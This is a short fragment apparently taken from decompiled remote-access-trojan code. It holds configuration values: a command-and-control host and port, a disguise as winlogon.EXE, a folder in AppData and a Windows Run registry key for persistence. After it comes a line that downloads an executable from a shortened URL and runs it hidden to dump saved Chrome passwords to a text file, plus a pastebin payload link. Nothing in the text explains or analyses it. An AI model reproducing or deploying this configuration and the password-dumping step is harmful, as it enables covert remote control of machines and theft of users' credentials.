OK.VN = "RGV2cG9pbnQ=";
   OK.VR = "0.7d";
   OK.MT = null;
   OK.EXE = "winlogon.EXE";
   OK.DR = "AppData";
   OK.RG = "79fc29905e934cbe0731aa8142f382f4";
   OK.H = "firefox.geekgalaxy.com";
   OK.P = "12";
   OK.Y = "|'|'|";
   OK.BD = Conversions.ToBoolean("False");
   OK.Idr = Conversions.ToBoolean("False");
   OK.IsF = Conversions.ToBoolean("False");
   OK.Isu = Conversions.ToBoolean("True");
   OK.LO = new FileInfo(Assembly.GetEntryAssembly().Location);
   OK.F = new Computer();
   OK.kq = null;
   OK.Cn = false;
   OK.sf = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
   OK.C = null;
   OK.MeM = new MemoryStream();
   OK.b = new byte[5121];
   OK.lastcap = "";
   OK.PLG = null;

---
URL1 : http://goo.gl/ez3g3E : Environ("tmp") & "\Heaven.EXE" : Shell(Environ("tmp") & "\Heaven.EXE /stext " & Environ("tmp") & "\ChromePass.txt", AppWinStyle.Hide)

---
URL2 : http://pastebin.com/raw.php?i=7FNiLnKK
---